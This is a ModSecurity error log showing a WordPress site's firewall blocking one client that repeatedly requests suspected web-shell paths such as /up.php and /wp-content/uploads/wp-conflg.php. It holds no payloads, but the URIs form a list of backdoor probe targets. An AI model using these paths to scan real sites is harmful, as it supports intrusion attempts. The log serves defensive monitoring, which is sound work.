[Thu Dec 18 21:44:46.913489 2025] [:error] [pid 12383:tid 12402] [client 4.196.84.157:51136] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abt.php"] [unique_id "aUQFTvdgllo9h1cyxGbNIwAAAtA"]
[Thu Dec 18 21:44:47.360958 2025] [:error] [pid 12239:tid 12253] [client 4.196.84.157:18508] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abt.php"] [unique_id "aUQFT9NnXxfGIuWO6akiwAAAAok"]
[Thu Dec 18 21:44:48.119253 2025] [:error] [pid 24433:tid 24436] [client 4.196.84.157:20458] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abt.php"] [unique_id "aUQFUJ4pN9ycmipm8TjhlAAAAQA"]
[Thu Dec 18 21:44:48.608485 2025] [:error] [pid 12035:tid 12043] [client 4.196.84.157:21832] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abt.php"] [unique_id "aUQFULcVHrNSHjCo-0qewgAAAgE"]
[Thu Dec 18 21:44:48.887774 2025] [:error] [pid 24958:tid 24971] [client 4.196.84.157:23101] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUQFUMkDOrUkd0wNm2HUHAAAAYo"]
[Thu Dec 18 21:44:49.603252 2025] [:error] [pid 24433:tid 24440] [client 4.196.84.157:18753] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUQFUZ4pN9ycmipm8TjhlwAAAQQ"]
[Thu Dec 18 21:44:49.960094 2025] [:error] [pid 12383:tid 12388] [client 4.196.84.157:18522] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUQFUfdgllo9h1cyxGbNJAAAAsI"]
[Thu Dec 18 21:44:50.756486 2025] [:error] [pid 12239:tid 12249] [client 4.196.84.157:18526] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUQFUtNnXxfGIuWO6akixQAAAoU"]
[Thu Dec 18 21:44:51.416010 2025] [:error] [pid 12239:tid 12264] [client 4.196.84.157:1845] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aUQFU9NnXxfGIuWO6akixwAAApQ"]
[Thu Dec 18 21:44:52.463122 2025] [:error] [pid 24542:tid 24551] [client 4.196.84.157:17795] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aUQFVEtQz4H2oS3NrDYofwAAAUc"]
[Thu Dec 18 21:44:52.970829 2025] [:error] [pid 24542:tid 24557] [client 4.196.84.157:1040] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aUQFVEtQz4H2oS3NrDYogQAAAU0"]
[Thu Dec 18 21:44:53.167942 2025] [:error] [pid 12239:tid 12245] [client 4.196.84.157:1314] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aUQFVdNnXxfGIuWO6akizAAAAoE"]
[Thu Dec 18 21:44:53.869304 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:17847] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aUQFVUtQz4H2oS3NrDYohwAAAUA"]
[Thu Dec 18 21:44:54.280064 2025] [:error] [pid 23558:tid 23635] [client 4.196.84.157:16155] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aUQFVuHam9NbgPQa9uYuBQAAANQ"]
[Thu Dec 18 21:44:54.601211 2025] [:error] [pid 24433:tid 24455] [client 4.196.84.157:16176] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aUQFVp4pN9ycmipm8TjhmwAAARM"]
[Thu Dec 18 21:44:54.843637 2025] [:error] [pid 24958:tid 24979] [client 4.196.84.157:24801] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aUQFVskDOrUkd0wNm2HUHgAAAZI"]
[Thu Dec 18 21:44:54.997641 2025] [:error] [pid 23558:tid 23632] [client 4.196.84.157:17584] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aUQFVuHam9NbgPQa9uYuBgAAANE"]
[Thu Dec 18 21:44:55.299750 2025] [:error] [pid 12383:tid 12401] [client 4.196.84.157:21402] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aUQFV_dgllo9h1cyxGbNJgAAAs8"]
[Thu Dec 18 21:44:56.233984 2025] [:error] [pid 12383:tid 12395] [client 4.196.84.157:21393] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aUQFWPdgllo9h1cyxGbNKAAAAsk"]
[Thu Dec 18 21:44:56.810576 2025] [:error] [pid 12239:tid 12247] [client 4.196.84.157:17555] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aUQFWNNnXxfGIuWO6aki0QAAAoM"]
[Thu Dec 18 21:44:57.078359 2025] [:error] [pid 24542:tid 24552] [client 4.196.84.157:17852] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aUQFWUtQz4H2oS3NrDYoiQAAAUg"]
[Thu Dec 18 21:44:57.615295 2025] [:error] [pid 12383:tid 12410] [client 4.196.84.157:16148] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aUQFWfdgllo9h1cyxGbNKQAAAtg"]
[Thu Dec 18 21:44:57.994476 2025] [:error] [pid 12383:tid 12386] [client 4.196.84.157:18643] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aUQFWfdgllo9h1cyxGbNKwAAAsA"]
[Thu Dec 18 21:44:58.488867 2025] [:error] [pid 24958:tid 24982] [client 4.196.84.157:24792] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aUQFWskDOrUkd0wNm2HUHwAAAZU"]
[Thu Dec 18 21:44:58.746107 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:17793] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aUQFWtNnXxfGIuWO6aki1AAAAoY"]
[Thu Dec 18 21:44:58.941197 2025] [:error] [pid 12239:tid 12246] [client 4.196.84.157:14440] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aUQFWtNnXxfGIuWO6aki1QAAAoI"]
[Thu Dec 18 21:44:59.517346 2025] [:error] [pid 12383:tid 12393] [client 4.196.84.157:17823] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aUQFW_dgllo9h1cyxGbNLgAAAsc"]
[Thu Dec 18 21:44:59.921673 2025] [:error] [pid 12239:tid 12268] [client 4.196.84.157:1285] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js.php"] [unique_id "aUQFW9NnXxfGIuWO6aki2gAAApg"]
[Thu Dec 18 21:45:00.229441 2025] [:error] [pid 24958:tid 24983] [client 4.196.84.157:21399] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUQFXMkDOrUkd0wNm2HUIAAAAZY"]
[Thu Dec 18 21:45:00.686870 2025] [:error] [pid 12383:tid 12391] [client 4.196.84.157:1310] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUQFXPdgllo9h1cyxGbNMAAAAsU"]
[Thu Dec 18 21:45:01.230150 2025] [:error] [pid 24958:tid 24984] [client 4.196.84.157:17651] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUQFXckDOrUkd0wNm2HUIQAAAZc"]
[Thu Dec 18 21:45:01.445716 2025] [:error] [pid 12383:tid 12387] [client 4.196.84.157:24783] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUQFXfdgllo9h1cyxGbNMQAAAsE"]
[Thu Dec 18 21:45:01.750747 2025] [:error] [pid 24958:tid 24972] [client 4.196.84.157:17825] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aUQFXckDOrUkd0wNm2HUIgAAAYs"]
[Thu Dec 18 21:45:02.349911 2025] [:error] [pid 24958:tid 24963] [client 4.196.84.157:14879] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aUQFXskDOrUkd0wNm2HUIwAAAYI"]
[Thu Dec 18 21:45:02.924784 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:18286] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aUQFXuHam9NbgPQa9uYuCQAAAM4"]
[Thu Dec 18 21:45:03.547401 2025] [:error] [pid 12035:tid 12046] [client 4.196.84.157:31819] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aUQFX7cVHrNSHjCo-0qeyQAAAgQ"]
[Thu Dec 18 21:45:03.922985 2025] [:error] [pid 12035:tid 12067] [client 4.196.84.157:1840] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aUQFX7cVHrNSHjCo-0qeygAAAhg"]
[Thu Dec 18 21:45:04.113890 2025] [:error] [pid 12239:tid 12249] [client 4.196.84.157:14900] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aUQFYNNnXxfGIuWO6aki4AAAAoU"]
[Thu Dec 18 21:45:04.469073 2025] [:error] [pid 23558:tid 23638] [client 4.196.84.157:24770] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aUQFYOHam9NbgPQa9uYuCgAAANc"]
[Thu Dec 18 21:45:04.877265 2025] [:error] [pid 12383:tid 12392] [client 4.196.84.157:31859] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aUQFYPdgllo9h1cyxGbNMwAAAsY"]
[Thu Dec 18 21:45:05.296983 2025] [:error] [pid 12239:tid 12252] [client 4.196.84.157:1294] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aUQFYdNnXxfGIuWO6aki4wAAAog"]
[Thu Dec 18 21:45:05.786782 2025] [:error] [pid 12383:tid 12402] [client 4.196.84.157:31837] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aUQFYfdgllo9h1cyxGbNNQAAAtA"]
[Thu Dec 18 21:45:06.432937 2025] [:error] [pid 12239:tid 12260] [client 4.196.84.157:1794] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aUQFYtNnXxfGIuWO6aki5AAAApA"]
[Thu Dec 18 21:45:07.043609 2025] [:error] [pid 23558:tid 23625] [client 4.196.84.157:17840] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aUQFY-Ham9NbgPQa9uYuCwAAAMo"]
[Thu Dec 18 21:45:07.585625 2025] [:error] [pid 12239:tid 12261] [client 4.196.84.157:18662] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUQFY9NnXxfGIuWO6aki5wAAApE"]
[Thu Dec 18 21:45:08.273214 2025] [:error] [pid 23558:tid 23617] [client 4.196.84.157:18674] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUQFZOHam9NbgPQa9uYuDQAAAMI"]
[Thu Dec 18 21:45:08.633234 2025] [:error] [pid 24433:tid 24436] [client 4.196.84.157:24174] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUQFZJ4pN9ycmipm8TjhogAAAQA"]
[Thu Dec 18 21:45:08.862722 2025] [:error] [pid 24958:tid 24962] [client 4.196.84.157:14868] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUQFZMkDOrUkd0wNm2HUJAAAAYE"]
[Thu Dec 18 21:45:09.213092 2025] [:error] [pid 24542:tid 24558] [client 4.196.84.157:31812] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aUQFZUtQz4H2oS3NrDYokAAAAU4"]
[Thu Dec 18 21:45:09.496191 2025] [:error] [pid 24958:tid 24981] [client 4.196.84.157:18642] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aUQFZckDOrUkd0wNm2HUJgAAAZQ"]
[Thu Dec 18 21:45:10.127951 2025] [:error] [pid 24542:tid 24566] [client 4.196.84.157:14858] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aUQFZktQz4H2oS3NrDYokQAAAVY"]
[Thu Dec 18 21:45:10.912425 2025] [:error] [pid 24433:tid 24450] [client 4.196.84.157:24590] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aUQFZp4pN9ycmipm8TjhpAAAAQ4"]
[Thu Dec 18 21:45:11.016133 2025] [:error] [pid 24958:tid 24974] [client 4.196.84.157:24609] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aUQFZ8kDOrUkd0wNm2HUKAAAAY0"]
[Thu Dec 18 21:45:11.780164 2025] [:error] [pid 25357:tid 25359] [client 4.196.84.157:24187] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aUQFZ4aT7bsEXnJVfJdzJQAAAcA"]
[Thu Dec 18 21:45:12.368336 2025] [:error] [pid 24542:tid 24550] [client 4.196.84.157:17616] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aUQFaEtQz4H2oS3NrDYokwAAAUY"]
[Thu Dec 18 21:45:12.571596 2025] [:error] [pid 23645:tid 23665] [client 4.196.84.157:23024] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aUQFaDf_Rx0Y0ao_QJhlfQAAAJI"]
